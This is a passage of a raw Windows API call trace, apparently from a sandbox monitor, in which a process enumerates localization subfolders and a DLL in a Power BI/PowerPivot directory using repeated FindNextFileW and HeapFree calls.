ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1 [0287.945] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0287.946] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7582db3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1 [0287.947] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0287.947] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b0f72e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1 [0287.948] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0287.948] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6d2a978, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu", cAlternateFileName="")) returned 1 [0287.950] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0287.950] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x138defa8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x138defa8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1 [0287.951] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0287.951] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1 [0287.952] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0287.952] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9ac3a61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13aced2b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13aced2b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gl", cAlternateFileName="")) returned 1 [0287.954] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0287.954] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a98712, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13a8299e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13a8299e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1 [0287.955] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0287.955] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa806c3d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1428e945, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1428e945, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1 [0288.051] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.051] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7beb2bc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13b67741, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13b67741, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1 [0288.052] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.052] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6164f96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14648313, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14648313, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1 [0288.054] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.054] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1434d390, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1434d390, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1 [0288.055] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.055] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf964b3dd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14969496, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14969496, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1 [0288.057] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.057] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf15d84bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x146e0bdc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x146e0bdc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1 [0288.058] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.058] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfae6f174, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14b330aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14b330aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kk", cAlternateFileName="")) returned 1 [0288.060] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.060] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14ac0994, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14ac0994, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1 [0288.061] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.061] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7b529d9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x152a6704, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x152a6704, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1 [0288.063] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.063] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf035e09d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1 [0288.064] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.064] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42b29f3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42d8c51, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15f460, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0288.066] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.066] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x718b80, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15a3fea8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15a3fea8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1 [0288.068] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.068] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15b71118, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b71118, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1 [0288.069] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.069] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf44c8b33, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15b24c93, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b24c93, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1 [0288.071] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.071] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15bbd5ad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15bbd5ad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt", cAlternateFileName="")) returned 1 [0288.072] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.072] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf475131d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15be380c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15be380c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0288.074] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.074] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6ac83cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15d3adab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d3adab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1 [0288.076] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.076] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe00baf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15d14b21, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d14b21, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1 [0288.077] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.077] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6c6bda4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15e92299, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e92299, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1 [0288.079] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.079] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b359a5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15e45dad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e45dad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1 [0288.080] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.080] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a2a905, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15f04999, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15f04999, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-cyrl", cAlternateFileName="")) returned 1 [0288.082] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.082] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x160a83ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x160a83ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-latn", cAlternateFileName="")) returned 1 [0288.084] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.084] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf45f9db0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15ede724, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ede724, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0288.086] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.086] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16035c5a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16035c5a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1 [0288.088] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.088] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c66c57, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16166f59, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16166f59, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1 [0288.090] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.090] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16140cde, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16140cde, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1 [0288.091] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.092] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7b9ee02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1 [0288.093] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.093] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf637b042, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1 [0288.095] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.095] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4c15e5f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x163ef7bf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x163ef7bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHS", cAlternateFileName="")) returned 1 [0288.166] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.166] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x164159c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164159c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 1 [0288.168] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.168] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x164159c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164159c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 0 [0288.168] FindClose (in: hFindFile=0x3e81be8 | out: hFindFile=0x3e81be8) returned 1 [0288.168] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0288.168] FindNextFileW (in: hFindFile=0x3e819e8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PowerPivot Excel Add-in", cAlternateFileName="POWERP~1")) returned 1 [0288.171] HeapFree (in: hHeap=0x730000, dwFlags=0x0, 